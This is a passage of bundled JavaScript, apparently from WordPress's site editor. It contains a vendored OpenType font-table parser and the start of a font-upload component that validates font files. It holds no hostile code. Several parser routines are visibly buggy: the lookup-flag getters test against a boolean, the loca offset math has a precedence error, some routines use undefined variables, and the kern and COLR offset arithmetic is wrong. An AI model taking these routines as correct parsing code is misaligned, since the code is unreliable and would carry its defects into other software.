	constructor( p ) {
		super( p );
		console.log( `lookup type 6` );
	}
}
class LookupType7 extends LookupType {
	constructor( p ) {
		super( p );
		console.log( `lookup type 7` );
	}
}
class LookupType8 extends LookupType {
	constructor( p ) {
		super( p );
		console.log( `lookup type 8` );
	}
}
class LookupType9 extends LookupType {
	constructor( p ) {
		super( p );
		console.log( `lookup type 9` );
	}
}
var GPOStables = {
	buildSubtable: function ( type, p ) {
		const subtable = new [
			undefined,
			LookupType1,
			LookupType2,
			LookupType3,
			LookupType4,
			LookupType5,
			LookupType6,
			LookupType7,
			LookupType8,
			LookupType9,
		][ type ]( p );
		subtable.type = type;
		return subtable;
	},
};
class LookupList extends ParsedData {
	static EMPTY = { lookupCount: 0, lookups: [] };
	constructor( p ) {
		super( p );
		this.lookupCount = p.uint16;
		this.lookups = [ ...new Array( this.lookupCount ) ].map(
			( _ ) => p.Offset16
		);
	}
}
class LookupTable extends ParsedData {
	constructor( p, type ) {
		super( p );
		this.ctType = type;
		this.lookupType = p.uint16;
		this.lookupFlag = p.uint16;
		this.subTableCount = p.uint16;
		this.subtableOffsets = [ ...new Array( this.subTableCount ) ].map(
			( _ ) => p.Offset16
		);
		this.markFilteringSet = p.uint16;
	}
	get rightToLeft() {
		return this.lookupFlag & ( 1 === 1 );
	}
	get ignoreBaseGlyphs() {
		return this.lookupFlag & ( 2 === 2 );
	}
	get ignoreLigatures() {
		return this.lookupFlag & ( 4 === 4 );
	}
	get ignoreMarks() {
		return this.lookupFlag & ( 8 === 8 );
	}
	get useMarkFilteringSet() {
		return this.lookupFlag & ( 16 === 16 );
	}
	get markAttachmentType() {
		return this.lookupFlag & ( 65280 === 65280 );
	}
	getSubTable( index ) {
		const builder = this.ctType === `GSUB` ? GSUBtables : GPOStables;
		this.parser.currentPosition =
			this.start + this.subtableOffsets[ index ];
		return builder.buildSubtable( this.lookupType, this.parser );
	}
}
class CommonLayoutTable extends SimpleTable {
	constructor( dict, dataview, name ) {
		const { p: p, tableStart: tableStart } = super( dict, dataview, name );
		this.majorVersion = p.uint16;
		this.minorVersion = p.uint16;
		this.scriptListOffset = p.Offset16;
		this.featureListOffset = p.Offset16;
		this.lookupListOffset = p.Offset16;
		if ( this.majorVersion === 1 && this.minorVersion === 1 ) {
			this.featureVariationsOffset = p.Offset32;
		}
		const no_content = ! (
			this.scriptListOffset ||
			this.featureListOffset ||
			this.lookupListOffset
		);
		lazy$1( this, `scriptList`, () => {
			if ( no_content ) return ScriptList.EMPTY;
			p.currentPosition = tableStart + this.scriptListOffset;
			return new ScriptList( p );
		} );
		lazy$1( this, `featureList`, () => {
			if ( no_content ) return FeatureList.EMPTY;
			p.currentPosition = tableStart + this.featureListOffset;
			return new FeatureList( p );
		} );
		lazy$1( this, `lookupList`, () => {
			if ( no_content ) return LookupList.EMPTY;
			p.currentPosition = tableStart + this.lookupListOffset;
			return new LookupList( p );
		} );
		if ( this.featureVariationsOffset ) {
			lazy$1( this, `featureVariations`, () => {
				if ( no_content ) return FeatureVariations.EMPTY;
				p.currentPosition = tableStart + this.featureVariationsOffset;
				return new FeatureVariations( p );
			} );
		}
	}
	getSupportedScripts() {
		return this.scriptList.scriptRecords.map( ( r ) => r.scriptTag );
	}
	getScriptTable( scriptTag ) {
		let record = this.scriptList.scriptRecords.find(
			( r ) => r.scriptTag === scriptTag
		);
		this.parser.currentPosition =
			this.scriptList.start + record.scriptOffset;
		let table = new ScriptTable( this.parser );
		table.scriptTag = scriptTag;
		return table;
	}
	ensureScriptTable( arg ) {
		if ( typeof arg === 'string' ) {
			return this.getScriptTable( arg );
		}
		return arg;
	}
	getSupportedLangSys( scriptTable ) {
		scriptTable = this.ensureScriptTable( scriptTable );
		const hasDefault = scriptTable.defaultLangSys !== 0;
		const supported = scriptTable.langSysRecords.map(
			( l ) => l.langSysTag
		);
		if ( hasDefault ) supported.unshift( `dflt` );
		return supported;
	}
	getDefaultLangSysTable( scriptTable ) {
		scriptTable = this.ensureScriptTable( scriptTable );
		let offset = scriptTable.defaultLangSys;
		if ( offset !== 0 ) {
			this.parser.currentPosition = scriptTable.start + offset;
			let table = new LangSysTable( this.parser );
			table.langSysTag = ``;
			table.defaultForScript = scriptTable.scriptTag;
			return table;
		}
	}
	getLangSysTable( scriptTable, langSysTag = `dflt` ) {
		if ( langSysTag === `dflt` )
			return this.getDefaultLangSysTable( scriptTable );
		scriptTable = this.ensureScriptTable( scriptTable );
		let record = scriptTable.langSysRecords.find(
			( l ) => l.langSysTag === langSysTag
		);
		this.parser.currentPosition = scriptTable.start + record.langSysOffset;
		let table = new LangSysTable( this.parser );
		table.langSysTag = langSysTag;
		return table;
	}
	getFeatures( langSysTable ) {
		return langSysTable.featureIndices.map( ( index ) =>
			this.getFeature( index )
		);
	}
	getFeature( indexOrTag ) {
		let record;
		if ( parseInt( indexOrTag ) == indexOrTag ) {
			record = this.featureList.featureRecords[ indexOrTag ];
		} else {
			record = this.featureList.featureRecords.find(
				( f ) => f.featureTag === indexOrTag
			);
		}
		if ( ! record ) return;
		this.parser.currentPosition =
			this.featureList.start + record.featureOffset;
		let table = new FeatureTable( this.parser );
		table.featureTag = record.featureTag;
		return table;
	}
	getLookups( featureTable ) {
		return featureTable.lookupListIndices.map( ( index ) =>
			this.getLookup( index )
		);
	}
	getLookup( lookupIndex, type ) {
		let lookupOffset = this.lookupList.lookups[ lookupIndex ];
		this.parser.currentPosition = this.lookupList.start + lookupOffset;
		return new LookupTable( this.parser, type );
	}
}
class GSUB extends CommonLayoutTable {
	constructor( dict, dataview ) {
		super( dict, dataview, `GSUB` );
	}
	getLookup( lookupIndex ) {
		return super.getLookup( lookupIndex, `GSUB` );
	}
}
var GSUB$1 = Object.freeze( { __proto__: null, GSUB: GSUB } );
class GPOS extends CommonLayoutTable {
	constructor( dict, dataview ) {
		super( dict, dataview, `GPOS` );
	}
	getLookup( lookupIndex ) {
		return super.getLookup( lookupIndex, `GPOS` );
	}
}
var GPOS$1 = Object.freeze( { __proto__: null, GPOS: GPOS } );
class SVG extends SimpleTable {
	constructor( dict, dataview ) {
		const { p: p } = super( dict, dataview );
		this.version = p.uint16;
		this.offsetToSVGDocumentList = p.Offset32;
		p.currentPosition = this.tableStart + this.offsetToSVGDocumentList;
		this.documentList = new SVGDocumentList( p );
	}
}
class SVGDocumentList extends ParsedData {
	constructor( p ) {
		super( p );
		this.numEntries = p.uint16;
		this.documentRecords = [ ...new Array( this.numEntries ) ].map(
			( _ ) => new SVGDocumentRecord( p )
		);
	}
	getDocument( documentID ) {
		let record = this.documentRecords[ documentID ];
		if ( ! record ) return '';
		let offset = this.start + record.svgDocOffset;
		this.parser.currentPosition = offset;
		return this.parser.readBytes( record.svgDocLength );
	}
	getDocumentForGlyph( glyphID ) {
		let id = this.documentRecords.findIndex(
			( d ) => d.startGlyphID <= glyphID && glyphID <= d.endGlyphID
		);
		if ( id === -1 ) return '';
		return this.getDocument( id );
	}
}
class SVGDocumentRecord {
	constructor( p ) {
		this.startGlyphID = p.uint16;
		this.endGlyphID = p.uint16;
		this.svgDocOffset = p.Offset32;
		this.svgDocLength = p.uint32;
	}
}
var SVG$1 = Object.freeze( { __proto__: null, SVG: SVG } );
class fvar extends SimpleTable {
	constructor( dict, dataview ) {
		const { p: p } = super( dict, dataview );
		this.majorVersion = p.uint16;
		this.minorVersion = p.uint16;
		this.axesArrayOffset = p.Offset16;
		p.uint16;
		this.axisCount = p.uint16;
		this.axisSize = p.uint16;
		this.instanceCount = p.uint16;
		this.instanceSize = p.uint16;
		const axisStart = this.tableStart + this.axesArrayOffset;
		lazy$1( this, `axes`, () => {
			p.currentPosition = axisStart;
			return [ ...new Array( this.axisCount ) ].map(
				( _ ) => new VariationAxisRecord( p )
			);
		} );
		const instanceStart = axisStart + this.axisCount * this.axisSize;
		lazy$1( this, `instances`, () => {
			let instances = [];
			for ( let i = 0; i < this.instanceCount; i++ ) {
				p.currentPosition = instanceStart + i * this.instanceSize;
				instances.push(
					new InstanceRecord( p, this.axisCount, this.instanceSize )
				);
			}
			return instances;
		} );
	}
	getSupportedAxes() {
		return this.axes.map( ( a ) => a.tag );
	}
	getAxis( name ) {
		return this.axes.find( ( a ) => a.tag === name );
	}
}
class VariationAxisRecord {
	constructor( p ) {
		this.tag = p.tag;
		this.minValue = p.fixed;
		this.defaultValue = p.fixed;
		this.maxValue = p.fixed;
		this.flags = p.flags( 16 );
		this.axisNameID = p.uint16;
	}
}
class InstanceRecord {
	constructor( p, axisCount, size ) {
		let start = p.currentPosition;
		this.subfamilyNameID = p.uint16;
		p.uint16;
		this.coordinates = [ ...new Array( axisCount ) ].map(
			( _ ) => p.fixed
		);
		if ( p.currentPosition - start < size ) {
			this.postScriptNameID = p.uint16;
		}
	}
}
var fvar$1 = Object.freeze( { __proto__: null, fvar: fvar } );
class cvt extends SimpleTable {
	constructor( dict, dataview ) {
		const { p: p } = super( dict, dataview );
		const n = dict.length / 2;
		lazy$1( this, `items`, () =>
			[ ...new Array( n ) ].map( ( _ ) => p.fword )
		);
	}
}
var cvt$1 = Object.freeze( { __proto__: null, cvt: cvt } );
class fpgm extends SimpleTable {
	constructor( dict, dataview ) {
		const { p: p } = super( dict, dataview );
		lazy$1( this, `instructions`, () =>
			[ ...new Array( dict.length ) ].map( ( _ ) => p.uint8 )
		);
	}
}
var fpgm$1 = Object.freeze( { __proto__: null, fpgm: fpgm } );
class gasp extends SimpleTable {
	constructor( dict, dataview ) {
		const { p: p } = super( dict, dataview );
		this.version = p.uint16;
		this.numRanges = p.uint16;
		const getter = () =>
			[ ...new Array( this.numRanges ) ].map(
				( _ ) => new GASPRange( p )
			);
		lazy$1( this, `gaspRanges`, getter );
	}
}
class GASPRange {
	constructor( p ) {
		this.rangeMaxPPEM = p.uint16;
		this.rangeGaspBehavior = p.uint16;
	}
}
var gasp$1 = Object.freeze( { __proto__: null, gasp: gasp } );
class glyf extends SimpleTable {
	constructor( dict, dataview ) {
		super( dict, dataview );
	}
	getGlyphData( offset, length ) {
		this.parser.currentPosition = this.tableStart + offset;
		return this.parser.readBytes( length );
	}
}
var glyf$1 = Object.freeze( { __proto__: null, glyf: glyf } );
class loca extends SimpleTable {
	constructor( dict, dataview, tables ) {
		const { p: p } = super( dict, dataview );
		const n = tables.maxp.numGlyphs + 1;
		if ( tables.head.indexToLocFormat === 0 ) {
			this.x2 = true;
			lazy$1( this, `offsets`, () =>
				[ ...new Array( n ) ].map( ( _ ) => p.Offset16 )
			);
		} else {
			lazy$1( this, `offsets`, () =>
				[ ...new Array( n ) ].map( ( _ ) => p.Offset32 )
			);
		}
	}
	getGlyphDataOffsetAndLength( glyphID ) {
		let offset = this.offsets[ glyphID ] * this.x2 ? 2 : 1;
		let nextOffset = this.offsets[ glyphID + 1 ] * this.x2 ? 2 : 1;
		return { offset: offset, length: nextOffset - offset };
	}
}
var loca$1 = Object.freeze( { __proto__: null, loca: loca } );
class prep extends SimpleTable {
	constructor( dict, dataview ) {
		const { p: p } = super( dict, dataview );
		lazy$1( this, `instructions`, () =>
			[ ...new Array( dict.length ) ].map( ( _ ) => p.uint8 )
		);
	}
}
var prep$1 = Object.freeze( { __proto__: null, prep: prep } );
class CFF extends SimpleTable {
	constructor( dict, dataview ) {
		const { p: p } = super( dict, dataview );
		lazy$1( this, `data`, () => p.readBytes() );
	}
}
var CFF$1 = Object.freeze( { __proto__: null, CFF: CFF } );
class CFF2 extends SimpleTable {
	constructor( dict, dataview ) {
		const { p: p } = super( dict, dataview );
		lazy$1( this, `data`, () => p.readBytes() );
	}
}
var CFF2$1 = Object.freeze( { __proto__: null, CFF2: CFF2 } );
class VORG extends SimpleTable {
	constructor( dict, dataview ) {
		const { p: p } = super( dict, dataview );
		this.majorVersion = p.uint16;
		this.minorVersion = p.uint16;
		this.defaultVertOriginY = p.int16;
		this.numVertOriginYMetrics = p.uint16;
		lazy$1( this, `vertORiginYMetrics`, () =>
			[ ...new Array( this.numVertOriginYMetrics ) ].map(
				( _ ) => new VertOriginYMetric( p )
			)
		);
	}
}
class VertOriginYMetric {
	constructor( p ) {
		this.glyphIndex = p.uint16;
		this.vertOriginY = p.int16;
	}
}
var VORG$1 = Object.freeze( { __proto__: null, VORG: VORG } );
class BitmapSize {
	constructor( p ) {
		this.indexSubTableArrayOffset = p.Offset32;
		this.indexTablesSize = p.uint32;
		this.numberofIndexSubTables = p.uint32;
		this.colorRef = p.uint32;
		this.hori = new SbitLineMetrics( p );
		this.vert = new SbitLineMetrics( p );
		this.startGlyphIndex = p.uint16;
		this.endGlyphIndex = p.uint16;
		this.ppemX = p.uint8;
		this.ppemY = p.uint8;
		this.bitDepth = p.uint8;
		this.flags = p.int8;
	}
}
class BitmapScale {
	constructor( p ) {
		this.hori = new SbitLineMetrics( p );
		this.vert = new SbitLineMetrics( p );
		this.ppemX = p.uint8;
		this.ppemY = p.uint8;
		this.substitutePpemX = p.uint8;
		this.substitutePpemY = p.uint8;
	}
}
class SbitLineMetrics {
	constructor( p ) {
		this.ascender = p.int8;
		this.descender = p.int8;
		this.widthMax = p.uint8;
		this.caretSlopeNumerator = p.int8;
		this.caretSlopeDenominator = p.int8;
		this.caretOffset = p.int8;
		this.minOriginSB = p.int8;
		this.minAdvanceSB = p.int8;
		this.maxBeforeBL = p.int8;
		this.minAfterBL = p.int8;
		this.pad1 = p.int8;
		this.pad2 = p.int8;
	}
}
class EBLC extends SimpleTable {
	constructor( dict, dataview, name ) {
		const { p: p } = super( dict, dataview, name );
		this.majorVersion = p.uint16;
		this.minorVersion = p.uint16;
		this.numSizes = p.uint32;
		lazy$1( this, `bitMapSizes`, () =>
			[ ...new Array( this.numSizes ) ].map(
				( _ ) => new BitmapSize( p )
			)
		);
	}
}
var EBLC$1 = Object.freeze( { __proto__: null, EBLC: EBLC } );
class EBDT extends SimpleTable {
	constructor( dict, dataview, name ) {
		const { p: p } = super( dict, dataview, name );
		this.majorVersion = p.uint16;
		this.minorVersion = p.uint16;
	}
}
var EBDT$1 = Object.freeze( { __proto__: null, EBDT: EBDT } );
class EBSC extends SimpleTable {
	constructor( dict, dataview ) {
		const { p: p } = super( dict, dataview );
		this.majorVersion = p.uint16;
		this.minorVersion = p.uint16;
		this.numSizes = p.uint32;
		lazy$1( this, `bitmapScales`, () =>
			[ ...new Array( this.numSizes ) ].map(
				( _ ) => new BitmapScale( p )
			)
		);
	}
}
var EBSC$1 = Object.freeze( { __proto__: null, EBSC: EBSC } );
class CBLC extends EBLC {
	constructor( dict, dataview ) {
		super( dict, dataview, `CBLC` );
	}
}
var CBLC$1 = Object.freeze( { __proto__: null, CBLC: CBLC } );
class CBDT extends EBDT {
	constructor( dict, dataview ) {
		super( dict, dataview, `CBDT` );
	}
}
var CBDT$1 = Object.freeze( { __proto__: null, CBDT: CBDT } );
class sbix extends SimpleTable {
	constructor( dict, dataview ) {
		const { p: p } = super( dict, dataview );
		this.version = p.uint16;
		this.flags = p.flags( 16 );
		this.numStrikes = p.uint32;
		lazy$1( this, `strikeOffsets`, () =>
			[ ...new Array( this.numStrikes ) ].map( ( _ ) => p.Offset32 )
		);
	}
}
var sbix$1 = Object.freeze( { __proto__: null, sbix: sbix } );
class COLR extends SimpleTable {
	constructor( dict, dataview ) {
		const { p: p } = super( dict, dataview );
		this.version = p.uint16;
		this.numBaseGlyphRecords = p.uint16;
		this.baseGlyphRecordsOffset = p.Offset32;
		this.layerRecordsOffset = p.Offset32;
		this.numLayerRecords = p.uint16;
	}
	getBaseGlyphRecord( glyphID ) {
		let start = this.tableStart + this.baseGlyphRecordsOffset;
		this.parser.currentPosition = start;
		let first = new BaseGlyphRecord( this.parser );
		let firstID = first.gID;
		let end = this.tableStart + this.layerRecordsOffset - 6;
		this.parser.currentPosition = end;
		let last = new BaseGlyphRecord( this.parser );
		let lastID = last.gID;
		if ( firstID === glyphID ) return first;
		if ( lastID === glyphID ) return last;
		while ( true ) {
			if ( start === end ) break;
			let mid = start + ( end - start ) / 12;
			this.parser.currentPosition = mid;
			let middle = new BaseGlyphRecord( this.parser );
			let midID = middle.gID;
			if ( midID === glyphID ) return middle;
			else if ( midID > glyphID ) {
				end = mid;
			} else if ( midID < glyphID ) {
				start = mid;
			}
		}
		return false;
	}
	getLayers( glyphID ) {
		let record = this.getBaseGlyphRecord( glyphID );
		this.parser.currentPosition =
			this.tableStart +
			this.layerRecordsOffset +
			4 * record.firstLayerIndex;
		return [ ...new Array( record.numLayers ) ].map(
			( _ ) => new LayerRecord( p )
		);
	}
}
class BaseGlyphRecord {
	constructor( p ) {
		this.gID = p.uint16;
		this.firstLayerIndex = p.uint16;
		this.numLayers = p.uint16;
	}
}
class LayerRecord {
	constructor( p ) {
		this.gID = p.uint16;
		this.paletteIndex = p.uint16;
	}
}
var COLR$1 = Object.freeze( { __proto__: null, COLR: COLR } );
class CPAL extends SimpleTable {
	constructor( dict, dataview ) {
		const { p: p } = super( dict, dataview );
		this.version = p.uint16;
		this.numPaletteEntries = p.uint16;
		const numPalettes = ( this.numPalettes = p.uint16 );
		this.numColorRecords = p.uint16;
		this.offsetFirstColorRecord = p.Offset32;
		this.colorRecordIndices = [ ...new Array( this.numPalettes ) ].map(
			( _ ) => p.uint16
		);
		lazy$1( this, `colorRecords`, () => {
			p.currentPosition = this.tableStart + this.offsetFirstColorRecord;
			return [ ...new Array( this.numColorRecords ) ].map(
				( _ ) => new ColorRecord( p )
			);
		} );
		if ( this.version === 1 ) {
			this.offsetPaletteTypeArray = p.Offset32;
			this.offsetPaletteLabelArray = p.Offset32;
			this.offsetPaletteEntryLabelArray = p.Offset32;
			lazy$1( this, `paletteTypeArray`, () => {
				p.currentPosition =
					this.tableStart + this.offsetPaletteTypeArray;
				return new PaletteTypeArray( p, numPalettes );
			} );
			lazy$1( this, `paletteLabelArray`, () => {
				p.currentPosition =
					this.tableStart + this.offsetPaletteLabelArray;
				return new PaletteLabelsArray( p, numPalettes );
			} );
			lazy$1( this, `paletteEntryLabelArray`, () => {
				p.currentPosition =
					this.tableStart + this.offsetPaletteEntryLabelArray;
				return new PaletteEntryLabelArray( p, numPalettes );
			} );
		}
	}
}
class ColorRecord {
	constructor( p ) {
		this.blue = p.uint8;
		this.green = p.uint8;
		this.red = p.uint8;
		this.alpha = p.uint8;
	}
}
class PaletteTypeArray {
	constructor( p, numPalettes ) {
		this.paletteTypes = [ ...new Array( numPalettes ) ].map(
			( _ ) => p.uint32
		);
	}
}
class PaletteLabelsArray {
	constructor( p, numPalettes ) {
		this.paletteLabels = [ ...new Array( numPalettes ) ].map(
			( _ ) => p.uint16
		);
	}
}
class PaletteEntryLabelArray {
	constructor( p, numPalettes ) {
		this.paletteEntryLabels = [ ...new Array( numPalettes ) ].map(
			( _ ) => p.uint16
		);
	}
}
var CPAL$1 = Object.freeze( { __proto__: null, CPAL: CPAL } );
class DSIG extends SimpleTable {
	constructor( dict, dataview ) {
		const { p: p } = super( dict, dataview );
		this.version = p.uint32;
		this.numSignatures = p.uint16;
		this.flags = p.uint16;
		this.signatureRecords = [ ...new Array( this.numSignatures ) ].map(
			( _ ) => new SignatureRecord( p )
		);
	}
	getData( signatureID ) {
		const record = this.signatureRecords[ signatureID ];
		this.parser.currentPosition = this.tableStart + record.offset;
		return new SignatureBlockFormat1( this.parser );
	}
}
class SignatureRecord {
	constructor( p ) {
		this.format = p.uint32;
		this.length = p.uint32;
		this.offset = p.Offset32;
	}
}
class SignatureBlockFormat1 {
	constructor( p ) {
		p.uint16;
		p.uint16;
		this.signatureLength = p.uint32;
		this.signature = p.readBytes( this.signatureLength );
	}
}
var DSIG$1 = Object.freeze( { __proto__: null, DSIG: DSIG } );
class hdmx extends SimpleTable {
	constructor( dict, dataview, tables ) {
		const { p: p } = super( dict, dataview );
		const numGlyphs = tables.hmtx.numGlyphs;
		this.version = p.uint16;
		this.numRecords = p.int16;
		this.sizeDeviceRecord = p.int32;
		this.records = [ ...new Array( numRecords ) ].map(
			( _ ) => new DeviceRecord( p, numGlyphs )
		);
	}
}
class DeviceRecord {
	constructor( p, numGlyphs ) {
		this.pixelSize = p.uint8;
		this.maxWidth = p.uint8;
		this.widths = p.readBytes( numGlyphs );
	}
}
var hdmx$1 = Object.freeze( { __proto__: null, hdmx: hdmx } );
class kern extends SimpleTable {
	constructor( dict, dataview ) {
		const { p: p } = super( dict, dataview );
		this.version = p.uint16;
		this.nTables = p.uint16;
		lazy$1( this, `tables`, () => {
			let offset = this.tableStart + 4;
			const tables = [];
			for ( let i = 0; i < this.nTables; i++ ) {
				p.currentPosition = offset;
				let subtable = new KernSubTable( p );
				tables.push( subtable );
				offset += subtable;
			}
			return tables;
		} );
	}
}
class KernSubTable {
	constructor( p ) {
		this.version = p.uint16;
		this.length = p.uint16;
		this.coverage = p.flags( 8 );
		this.format = p.uint8;
		if ( this.format === 0 ) {
			this.nPairs = p.uint16;
			this.searchRange = p.uint16;
			this.entrySelector = p.uint16;
			this.rangeShift = p.uint16;
			lazy$1( this, `pairs`, () =>
				[ ...new Array( this.nPairs ) ].map( ( _ ) => new Pair( p ) )
			);
		}
		if ( this.format === 2 ) {
			console.warn(
				`Kern subtable format 2 is not supported: this parser currently only parses universal table data.`
			);
		}
	}
	get horizontal() {
		return this.coverage[ 0 ];
	}
	get minimum() {
		return this.coverage[ 1 ];
	}
	get crossstream() {
		return this.coverage[ 2 ];
	}
	get override() {
		return this.coverage[ 3 ];
	}
}
class Pair {
	constructor( p ) {
		this.left = p.uint16;
		this.right = p.uint16;
		this.value = p.fword;
	}
}
var kern$1 = Object.freeze( { __proto__: null, kern: kern } );
class LTSH extends SimpleTable {
	constructor( dict, dataview ) {
		const { p: p } = super( dict, dataview );
		this.version = p.uint16;
		this.numGlyphs = p.uint16;
		this.yPels = p.readBytes( this.numGlyphs );
	}
}
var LTSH$1 = Object.freeze( { __proto__: null, LTSH: LTSH } );
class MERG extends SimpleTable {
	constructor( dict, dataview ) {
		const { p: p } = super( dict, dataview );
		this.version = p.uint16;
		this.mergeClassCount = p.uint16;
		this.mergeDataOffset = p.Offset16;
		this.classDefCount = p.uint16;
		this.offsetToClassDefOffsets = p.Offset16;
		lazy$1( this, `mergeEntryMatrix`, () =>
			[ ...new Array( this.mergeClassCount ) ].map( ( _ ) =>
				p.readBytes( this.mergeClassCount )
			)
		);
		console.warn( `Full MERG parsing is currently not supported.` );
		console.warn(
			`If you need this table parsed, please file an issue, or better yet, a PR.`
		);
	}
}
var MERG$1 = Object.freeze( { __proto__: null, MERG: MERG } );
class meta extends SimpleTable {
	constructor( dict, dataview ) {
		const { p: p } = super( dict, dataview );
		this.version = p.uint32;
		this.flags = p.uint32;
		p.uint32;
		this.dataMapsCount = p.uint32;
		this.dataMaps = [ ...new Array( this.dataMapsCount ) ].map(
			( _ ) => new DataMap( this.tableStart, p )
		);
	}
}
class DataMap {
	constructor( tableStart, p ) {
		this.tableStart = tableStart;
		this.parser = p;
		this.tag = p.tag;
		this.dataOffset = p.Offset32;
		this.dataLength = p.uint32;
	}
	getData() {
		this.parser.currentField = this.tableStart + this.dataOffset;
		return this.parser.readBytes( this.dataLength );
	}
}
var meta$1 = Object.freeze( { __proto__: null, meta: meta } );
class PCLT extends SimpleTable {
	constructor( dict, dataview ) {
		super( dict, dataview );
		console.warn(
			`This font uses a PCLT table, which is currently not supported by this parser.`
		);
		console.warn(
			`If you need this table parsed, please file an issue, or better yet, a PR.`
		);
	}
}
var PCLT$1 = Object.freeze( { __proto__: null, PCLT: PCLT } );
class VDMX extends SimpleTable {
	constructor( dict, dataview ) {
		const { p: p } = super( dict, dataview );
		this.version = p.uint16;
		this.numRecs = p.uint16;
		this.numRatios = p.uint16;
		this.ratRanges = [ ...new Array( this.numRatios ) ].map(
			( _ ) => new RatioRange( p )
		);
		this.offsets = [ ...new Array( this.numRatios ) ].map(
			( _ ) => p.Offset16
		);
		this.VDMXGroups = [ ...new Array( this.numRecs ) ].map(
			( _ ) => new VDMXGroup( p )
		);
	}
}
class RatioRange {
	constructor( p ) {
		this.bCharSet = p.uint8;
		this.xRatio = p.uint8;
		this.yStartRatio = p.uint8;
		this.yEndRatio = p.uint8;
	}
}
class VDMXGroup {
	constructor( p ) {
		this.recs = p.uint16;
		this.startsz = p.uint8;
		this.endsz = p.uint8;
		this.records = [ ...new Array( this.recs ) ].map(
			( _ ) => new vTable( p )
		);
	}
}
class vTable {
	constructor( p ) {
		this.yPelHeight = p.uint16;
		this.yMax = p.int16;
		this.yMin = p.int16;
	}
}
var VDMX$1 = Object.freeze( { __proto__: null, VDMX: VDMX } );
class vhea extends SimpleTable {
	constructor( dict, dataview ) {
		const { p: p } = super( dict, dataview );
		this.version = p.fixed;
		this.ascent = this.vertTypoAscender = p.int16;
		this.descent = this.vertTypoDescender = p.int16;
		this.lineGap = this.vertTypoLineGap = p.int16;
		this.advanceHeightMax = p.int16;
		this.minTopSideBearing = p.int16;
		this.minBottomSideBearing = p.int16;
		this.yMaxExtent = p.int16;
		this.caretSlopeRise = p.int16;
		this.caretSlopeRun = p.int16;
		this.caretOffset = p.int16;
		this.reserved = p.int16;
		this.reserved = p.int16;
		this.reserved = p.int16;
		this.reserved = p.int16;
		this.metricDataFormat = p.int16;
		this.numOfLongVerMetrics = p.uint16;
		p.verifyLength();
	}
}
var vhea$1 = Object.freeze( { __proto__: null, vhea: vhea } );
class vmtx extends SimpleTable {
	constructor( dict, dataview, tables ) {
		super( dict, dataview );
		const numOfLongVerMetrics = tables.vhea.numOfLongVerMetrics;
		const numGlyphs = tables.maxp.numGlyphs;
		const metricsStart = p.currentPosition;
		lazy( this, `vMetrics`, () => {
			p.currentPosition = metricsStart;
			return [ ...new Array( numOfLongVerMetrics ) ].map(
				( _ ) => new LongVertMetric( p.uint16, p.int16 )
			);
		} );
		if ( numOfLongVerMetrics < numGlyphs ) {
			const tsbStart = metricsStart + numOfLongVerMetrics * 4;
			lazy( this, `topSideBearings`, () => {
				p.currentPosition = tsbStart;
				return [ ...new Array( numGlyphs - numOfLongVerMetrics ) ].map(
					( _ ) => p.int16
				);
			} );
		}
	}
}
class LongVertMetric {
	constructor( h, b ) {
		this.advanceHeight = h;
		this.topSideBearing = b;
	}
}
var vmtx$1 = Object.freeze( { __proto__: null, vmtx: vmtx } );

/* eslint-enable */

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/utils/make-families-from-faces.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */

const {
  kebabCase: make_families_from_faces_kebabCase
} = unlock(external_wp_components_namespaceObject.privateApis);
function makeFamiliesFromFaces(fontFaces) {
  const fontFamiliesObject = fontFaces.reduce((acc, item) => {
    if (!acc[item.fontFamily]) {
      acc[item.fontFamily] = {
        name: item.fontFamily,
        fontFamily: item.fontFamily,
        slug: make_families_from_faces_kebabCase(item.fontFamily.toLowerCase()),
        fontFace: []
      };
    }
    acc[item.fontFamily].fontFace.push(item);
    return acc;
  }, {});
  return Object.values(fontFamiliesObject);
}

;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/upload-fonts.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */






function UploadFonts() {
  const {
    installFonts
  } = (0,external_wp_element_namespaceObject.useContext)(FontLibraryContext);
  const [isUploading, setIsUploading] = (0,external_wp_element_namespaceObject.useState)(false);
  const [notice, setNotice] = (0,external_wp_element_namespaceObject.useState)(false);
  const handleDropZone = files => {
    handleFilesUpload(files);
  };
  const onFilesUpload = event => {
    handleFilesUpload(event.target.files);
  };

  /**
   * Filters the selected files to only allow the ones with the allowed extensions
   *
   * @param {Array} files The files to be filtered
   * @return {void}
   */
  const handleFilesUpload = async files => {
    setNotice(null);
    setIsUploading(true);
    const uniqueFilenames = new Set();
    const selectedFiles = [...files];
    let hasInvalidFiles = false;

    // Use map to create a promise for each file check, then filter with Promise.all.
    const checkFilesPromises = selectedFiles.map(async file => {
      const isFont = await isFontFile(file);
      if (!isFont) {
        hasInvalidFiles = true;
        return null; // Return null for invalid files.
      }
      // Check for duplicates
      if (uniqueFilenames.has(file.name)) {
        return null; // Return null for duplicates.
      }
      // Check if the file extension is allowed.
      const fileExtension = file.name.split('.').pop().toLowerCase();
      if (ALLOWED_FILE_EXTENSIONS.includes(fileExtension)) {
        uniqueFilenames.add(file.name);
        return file; // Return the file if it passes all checks.
      }
      return null; // Return null for disallowed file extensions.
    });

    // Filter out the nulls after all promises have resolved.
    const allowedFiles = (await Promise.all(checkFilesPromises)).filter(file => null !== file);
    if (allowedFiles.length > 0) {
      loadFiles(allowedFiles);
    } else {
      const message = hasInvalidFiles ? (0,external_wp_i18n_namespaceObject.__)('Sorry, you are not allowed to upload this file type.') : (0,external_wp_i18n_namespaceObject.__)('No fonts found to install.');
      setNotice({
        type: 'error',
        message
      });
      setIsUploading(false);
    }
  };

  /**
   * Loads the selected files and reads the font metadata
   *
   * @param {Array} files The files to be loaded
   * @return {void}
   */
  const loadFiles = async files => {
    const fontFacesLoaded = await Promise.all(files.map(async fontFile => {
      const fontFaceData = await getFontFaceMetadata(fontFile);
      await loadFontFaceInBrowser(fontFaceData, fontFaceData.file, 'all');
      return fontFaceData;
    }));
    handleInstall(fontFacesLoaded);
  };

  /**
   * Checks if a file is a valid Font file.
   *
   * @param {File} file The file to be checked.
   * @return {boolean} Whether the file is a valid font file.
   */
  async function isFontFile(file) {
    const font = new Font('Uploaded Font');
    try {
      const buffer = await readFileAsArrayBuffer(file);
      await font.fromDataBuffer(buffer, 'font');
      return true;
    } catch (error) {
      return false;
    }
  }

  // Create a function to read the file as array buffer
  async function readFileAsArrayBuffer(file) {
    return new Promise((resolve, reject) => {
      const reader = new window.FileReader();
      reader.readAsArrayBuffer(file);
